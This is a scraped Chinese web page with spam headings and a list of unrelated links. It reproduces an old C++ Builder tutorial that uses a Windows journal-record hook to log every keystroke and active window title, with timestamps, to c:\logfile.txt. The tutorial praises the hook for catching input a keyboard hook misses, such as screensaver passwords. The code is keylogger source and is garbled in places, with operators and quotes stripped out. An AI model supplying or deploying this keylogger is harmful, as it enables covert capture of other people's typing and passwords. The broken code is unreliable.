当前位置: 首页 > news >正文

如皋做网站的公司建站网站破解版

如皋做网站的公司,建站网站破解版,百度制作的wordpress工具栏,wordpress建立cms-- 钩子是WINDOWS中消息处理机制的一个要点#xff0c;通过安装各种钩子#xff0c;应用程序能够设置相应的子例程来监视系统里的消息传递以及在这些消息到达目标窗口程序之前处理它们。钩子的种类很多#xff0c;每种钩子可以截获并处理相应的消息#xff0c;如键盘钩子可…-- 钩子是WINDOWS中消息处理机制的一个要点通过安装各种钩子应用程序能够设置相应的子例程来监视系统里的消息传递以及在这些消息到达目标窗口程序之前处理它们。钩子的种类很多每种钩子可以截获并处理相应的消息如键盘钩子可以截获键盘消息鼠标钩子可以截获鼠标消息外壳钩子可以截获启动和关闭应用程序的消息日志钩子可以监视和记录输入事件。钩子分为线程专用钩子和全局钩子线程专用钩子只监视指定的线程要监视系统中的所有线程必须用到全局钩子。对于全局钩子钩子函数必须包含在独立的动态链接库(DLL)中这样才能被各种相关联的应用程序调用。在WINDOWS中日志钩子是个很特别的钩子它只有全局钩子一种是键盘鼠标等输入设备的消息在系统消息队列被取出时发生的而且系统中只能存在一个这样的日志钩子更重要是它不必用在动态链接库中这样可以省却了为安装一个全局钩子而建立一个动态链接库的麻烦。利用日志钩子我们可以监视各种输入事件下面的示例可以用来记录键盘的输入当有按键发生时自动记录按键动作的日期和时间以及当前激活的窗口名称。本示例在中文WIN98Borland C Builder4中编译通过。 ---- 1新建一个工程在窗体Form1中放置两个按钮Button1和Button2, CAPTION分别 为“安装日志钩子”和“卸载日志钩子”。 ---- 2 定义如下全局变量 HHOOK g_hLogHookNULL; //钩子变量 HWND g_hLastFocusNULL; //记录上一次得到焦点的窗口句柄 const int KeyPressMask0x80000000; //键盘掩码常量 char g_PrvChar; //保存上一次按键值3在Button1的OnClick事件中输入void __fastcall TForm1::Button1Click(TObject *Sender){if (g_hLogHookNULL)g_hLogHook SetWindowsHookEx (WH_JOURNALRECORD,(HOOKPROC)JournalLogProc, HInstance,0); //安装日志钩子}4在Button2的OnClick事件中输入void __fastcall TForm1::Button2Click(TObject *Sender) {if (g_hLogHook!NULL){UnhookWindowsHookEx(g_hLogHook);g_hLogHookNULL;} //卸载日志钩子 }5输入钩子回调函数 HOOKPROC JournalLogProc(int iCode, WPARAM wParam, LPARAM lParam) {if (iCode0) return (HOOKPROC)CallNextHookEx (g_hLogHook,iCode,wParam,lParam); if (iCodeHC_ACTION) {EVENTMSG *pEvt(EVENTMSG *)lParam; int i; HWND hFocus; //保存当前活动窗口句柄 char szTitle[256]; //当前窗口名称 char szTime[128]; //保存当前的日期和时间 FILE *streamfopen(“c:\\logfile.txt”,at); if (pEvt-messageWM_KEYDOWN) {int vKeyLOBYTE(pEvt- paramL); // 取得虚拟键值char ch;char str[10];hFocusGetActiveWindow(); //取得当前活动窗口句柄if(g_hLastFocus!hFocus) //当前活动窗口是否改变{GetWindowText(hFocus,szTitle,256);g_hLastFocushFocus;strcpy(szTime,DateTimeToStr(Now()) .c_str()); //得到当前的日期时间fprintf(stream,%c%s%c%c%s, 10,szTime,32,32,szTitle); //写入文件fprintf(stream,%c%c,32,32); }int iShiftGetKeyState(0x10); //测试SHIFT,CAPTION,NUMLOCK等键是否按下int iCapitalGetKeyState(0x14);int iNumLockGetKeyState(0x90);bool bShift(iShift KeyPressMask)KeyPressMask; bool bCapital(iCapital 1)1;bool bNumLock(iNumLock 1)1;if (vKey 48 vKey57) // 数字0-9 if (!bShift) fprintf(stream,%c,vKey); if (vKey65 vKey90) // A-Z a-z {if (!bCapital) if (bShift) chvKey; else chvKey32; else if (bShift) chvKey32; else chvKey; fprintf(stream,%c,ch); } if (vKey96 vKey105) // 小键盘0-9 if (bNumLock) fprintf(stream,%c,vKey-9648); if (vKey186 vKey222) // 其他键 {switch (vKey) {case 186:if (!bShift) ch; ; else ch: ;break; case 187:if (!bShift) ch ; else ch ;break; case 188:if (!bShift) ch, ; else ch ;break; case 189:if (!bShift) ch- ; else ch_ ;break; case 190:if (!bShift) ch. ; else ch ;break; case 191:if (!bShift) ch/ ; else ch? ;break; case 192:if (!bShift) ch ; else ch~ ;break; case 219:if (!bShift) ch[ ; else ch{ ;break; case 220:if (!bShift) ch\\ ; else ch| ;break; case 221:if (!bShift) ch] ; else ch} ;break; case 222:if (!bShift) ch\ ; else ch\ ;break; default:chn ;break; } if (ch!n ) fprintf(stream,%c,ch); } // if (wParam112 wParam123) // 功能键 [F1]-[F12] if (vKey8 vKey46) //方向键 {switch (vKey) {case 8:strcpy(str,[BK]);break; case 9:strcpy(str,[TAB]);break; case 13:strcpy(str,[EN]);break; case 32:strcpy(str,[SP]);break; case 33:strcpy(str,[PU]);break; case 34:strcpy(str,[PD]);break; case 35:strcpy(str,[END]);break; case 36:strcpy(str,[HOME]);break; case 37:strcpy(str,[LF]);break; case 38:strcpy(str,[UF]);break; case 39:strcpy(str,[RF]);break; case 40:strcpy(str,[DF]);break; case 45:strcpy(str,[INS]);break; case 46:strcpy(str,[DEL]);break; default:chn ;break; } if (ch!n ) {if (g_PrvChar!vKey) {fprintf(stream,%s,str); g_PrvCharvKey; } } } } if (pEvt-messageWM_LBUTTONDOWN || pEvt- message WM_RBUTTONDOWN){hFocusGetActiveWindow();if (g_hLastFocus!hFocus){g_hLastFocushFocus;GetWindowText(hFocus,szTitle,256); strcpy(szTime,DateTimeToStr(Now()).c_str()); //得到当前的日期时间fprintf(stream,%c%s%c%c%s, 10,szTime,32,32,szTitle); //写入文件fprintf(stream,%c%c,32,32); }}fclose(stream);return (HOOKPROC)CallNextHookEx (g_hLogHook,iCode,wParam,lParam); }---- 将工程编译执行后每当激活一个窗口时就会把当前窗口名称写入文件c:\logfile.txt中当有按键时按键的名称也会写入此文件中这里的并没有处理全部的按键读者可根据需要添加相应的语句。要捕捉键盘的按键动作用键盘钩子(Keyboard Hook)也同样可以实现但是用日志钩子却比键盘钩子要方便许多。首先如果要捕捉其他应用程序的按键即做成全局钩子键盘钩子一定要单独放在动态链接库中而日志钩子却不必其次在键盘钩子函数得到的键盘按键之前系统已经处理过这些输入了如果系统把这些按键屏蔽掉键盘钩子就无法检测到它们例如当输入屏幕保护程序密码时键盘钩子无法检测到用户输入了那些字符而日志钩子却可以检测到。 ---- 无论是哪种钩子 都会增加系统处理消息的时间从而降低系统的性能我们只有在必要的时候才安装这些钩子而且尽可能在不需要时移走它们。 转载于:https://www.cnblogs.com/henryzc/archive/2005/10/27/262990.html
http://www.pierceye.com/news/858971/

相关文章:

  • 电商网站可以用dw做嘉兴网站建设平台
  • 做网站是数据库应该放在哪里建筑工程水平防护网
  • vps网站无法通过ip访问网站怎么做的支付宝接口
  • 怎么创建一个博客网站网站的c4d动画是怎么做的
  • 西安做企业网站科技论文发表网
  • html 手机网站开发企业做网站的合同
  • 建立wordpress网站吗全州建设完小网站
  • 网站域名注册证书是什么制作WordPress友情链接
  • 如何在解决方案中新建网站html网页制作的软件下载
  • 企业网站怎么做优化开小加工厂去哪接单子
  • 网站建设推广费怎么做账域名和网站绑定
  • 商丘网站建设想象力网络中国流量最大的网站排行
  • 网站是否有备案网站集约化建设建议
  • 浏览器收录网站网上做图赚钱的网站
  • 网站建设优化过程中的优化策略相关文章 wordpress
  • 泉州网站深圳航空公司官网首页
  • 百度推广整体优化网站整体软装设计公司
  • 太原搜索引擎优化招聘信息服务好的镇江网站优化
  • 自己做网站下载怎么网站基础知识域名5个点
  • 网站搭建合作协议wordpress注册页面插件
  • 网络公司最好的是哪个兰州网络推广优化怎样
  • 网站文章采集工具新网站怎么做流畅
  • discuz 手机网站模板山东省住房建设厅网站首页
  • 网站建设违约责任条款枣庄专业做网站
  • python做爬虫和做网站做两个一摸一样的网站
  • 网站做微信登录asp.net做网站头部和尾部_都用什么来实现
  • 南充哪里做网站太原关键词优化公司
  • 哪个网站做的ppt模板好投放广告网站
  • 公司网站中新闻中心怎样做优化百度浏览器电脑版
  • 厦门网站建设 九来外国做视频在线观看网站